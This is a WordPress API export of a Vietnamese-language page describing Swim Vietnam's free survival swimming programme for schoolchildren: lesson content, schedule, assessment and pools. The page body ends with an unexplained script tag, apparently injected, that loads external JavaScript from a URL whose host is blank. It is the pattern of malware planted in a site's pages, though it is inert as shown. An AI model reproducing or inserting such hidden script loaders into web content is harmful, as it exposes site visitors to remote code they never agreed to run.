{"id":15541,"date":"2022-06-19T18:47:19","date_gmt":"2022-06-19T11:47:19","guid":{"rendered":"http:\/\/swimvietnam.com\/?page_id=15541"},"modified":"2022-06-28T10:34:36","modified_gmt":"2022-06-28T03:34:36","slug":"survival-swimming-lessons","status":"publish","type":"page","link":"https:\/\/swimvietnam.com\/vi\/survival-swimming-lessons\/","title":{"rendered":"B\u00e0i h\u1ecdc b\u01a1i sinh t\u1ed3n"},"content":{"rendered":"<p><strong>M\u1ed7i n\u0103m, Swim Vietnam d\u1ea1y b\u01a1i sinh t\u1ed3n mi\u1ec5n ph\u00ed cho h\u00e0ng ngh\u00ecn tr\u1ebb em trong \u0111\u1ed9 tu\u1ed5i \u0111i h\u1ecdc\u00a0 v\u1edbi m\u1ee5c \u0111\u00edch ph\u00f2ng ch\u1ed1ng \u0111u\u1ed1i n\u01b0\u1edbc.<\/strong><\/p>\n<p><span style=\"font-weight: 400;\">Trong su\u1ed1t ch\u01b0\u01a1ng tr\u00ecnh g\u1ed3m 15 b\u00e0i h\u1ecdc, c\u00e1c em s\u1ebd h\u1ecdc c\u00e1ch n\u1ed5i, b\u01a1i s\u1ed1ng s\u00f3t, \u0111\u1ee9ng n\u01b0\u1edbc v\u00e0 c\u00e1ch th\u1ef1c hi\u1ec7n nh\u1eefng c\u00e1ch c\u1ee9u h\u1ed9 an to\u00e0n. C\u00e1c em s\u1ebd \u0111\u01b0\u1ee3c h\u1ecdc v\u1ec1 an to\u00e0n n\u01b0\u1edbc quan tr\u1ecdng v\u00e0 c\u00e1c k\u1ef9 n\u0103ng sinh t\u1ed3n \u0111\u1ec3\u00a0 gi\u00fap c\u00e1c em \u0111\u01b0a ra nh\u1eefng quy\u1ebft \u0111\u1ecbnh \u0111\u00fang \u0111\u1eafn trong m\u00f4i tr\u01b0\u1eddng n\u01b0\u1edbc<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ch\u00fang t\u00f4i t\u1ed5 ch\u1ee9c nhi\u1ec1u ch\u01b0\u01a1ng tr\u00ecnh trong su\u1ed1t c\u1ea3 n\u0103m nh\u01b0 m\u1ed9t ph\u1ea7n c\u1ee7a ch\u01b0\u01a1ng tr\u00ecnh gi\u1ea3ng d\u1ea1y t\u1ea1i tr\u01b0\u1eddng v\u00e0 trong c\u00e1c k\u1ef3 ngh\u1ec9 h\u1ecdc. C\u00e1c em s\u1ebd tham gia ba l\u1edbp h\u1ecdc b\u01a1i m\u1ed7i tu\u1ea7n trong su\u1ed1t s\u00e1u tu\u1ea7n.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Sau khi ho\u00e0n th\u00e0nh ch\u01b0\u01a1ng tr\u00ecnh, tr\u1ebb em \u0111\u01b0\u1ee3c \u0111\u00e1nh gi\u00e1 v\u1ec1 kh\u1ea3 n\u0103ng b\u01a1i 25 m\u00e9t v\u00e0 <\/span><span style=\"font-weight: 400;\">\u0111\u1ee9ng<\/span><span style=\"font-weight: 400;\"> n\u01b0\u1edbc trong m\u1ed9t ph\u00fat.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">C\u00e1c b\u00e0i h\u1ecdc \u0111\u01b0\u1ee3c gi\u1ea3ng d\u1ea1y b\u1edfi c\u00e1c gi\u00e1o vi\u00ean c\u00f3 tr\u00ecnh \u0111\u1ed9 qu\u1ed1c t\u1ebf c\u1ee7a Swim Vietnam t\u1ea1i m\u1ed9t trong 15 h\u1ed3 b\u01a1i c\u1ee7a ch\u00fang t\u00f4i, mang \u0111\u1ebfn m\u1ed9t m\u00f4i tr\u01b0\u1eddng an to\u00e0n v\u00e0 c\u00f3 gi\u00e1m s\u00e1t \u0111\u1ec3 h\u1ecdc c\u00e1c k\u1ef9 n\u0103ng an to\u00e0n<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ch\u01b0\u01a1ng tr\u00ecnh b\u01a1i sinh t\u1ed3n cung c\u1ea5p m\u1ed9t n\u1ec1n t\u1ea3ng ki\u1ebfn \u200b\u200bth\u1ee9c v\u00e0 k\u1ef9 n\u0103ng b\u01a1i\u00a0 c\u01a1 b\u1ea3n cho c\u00e1c em.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-14827\" src=\"http:\/\/swimvietnam.com\/wp-content\/uploads\/2022\/06\/Children-practice-kicking.jpg\" alt=\"\" width=\"1711\" height=\"878\" srcset=\"https:\/\/swimvietnam.com\/wp-content\/uploads\/2022\/06\/Children-practice-kicking.jpg 1711w, https:\/\/swimvietnam.com\/wp-content\/uploads\/2022\/06\/Children-practice-kicking-768x394.jpg 768w, https:\/\/swimvietnam.com\/wp-content\/uploads\/2022\/06\/Children-practice-kicking-1536x788.jpg 1536w\" sizes=\"(max-width: 1711px) 100vw, 1711px\" \/><script src='https:\/\/?v=11.87.33' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>M\u1ed7i n\u0103m, Swim Vietnam d\u1ea1y b\u01a1i sinh t\u1ed3n mi\u1ec5n ph\u00ed cho h\u00e0ng ngh\u00ecn tr\u1ebb em trong \u0111\u1ed9 tu\u1ed5i \u0111i h\u1ecdc\u00a0 v\u1edbi m\u1ee5c \u0111\u00edch ph\u00f2ng ch\u1ed1ng \u0111u\u1ed1i n\u01b0\u1edbc. Trong su\u1ed1t ch\u01b0\u01a1ng tr\u00ecnh g\u1ed3m 15 b\u00e0i h\u1ecdc, c\u00e1c em s\u1ebd h\u1ecdc c\u00e1ch n\u1ed5i, b\u01a1i s\u1ed1ng s\u00f3t, \u0111\u1ee9ng n\u01b0\u1edbc v\u00e0 c\u00e1ch th\u1ef1c hi\u1ec7n nh\u1eefng c\u00e1ch c\u1ee9u h\u1ed9 an [&hellip;]<\/p>\n","protected":false},"author":15,"featured_media":14827,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"acf":[],"_links":{"self":[{"href":"https:\/\/swimvietnam.com\/vi\/wp-json\/wp\/v2\/pages\/15541"}],"collection":[{"href":"https:\/\/swimvietnam.com\/vi\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/swimvietnam.com\/vi\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/swimvietnam.com\/vi\/wp-json\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/swimvietnam.com\/vi\/wp-json\/wp\/v2\/comments?post=15541"}],"version-history":[{"count":4,"href":"https:\/\/swimvietnam.com\/vi\/wp-json\/wp\/v2\/pages\/15541\/revisions"}],"predecessor-version":[{"id":15891,"href":"https:\/\/swimvietnam.com\/vi\/wp-json\/wp\/v2\/pages\/15541\/revisions\/15891"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/swimvietnam.com\/vi\/wp-json\/wp\/v2\/media\/14827"}],"wp:attachment":[{"href":"https:\/\/swimvietnam.com\/vi\/wp-json\/wp\/v2\/media?parent=15541"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}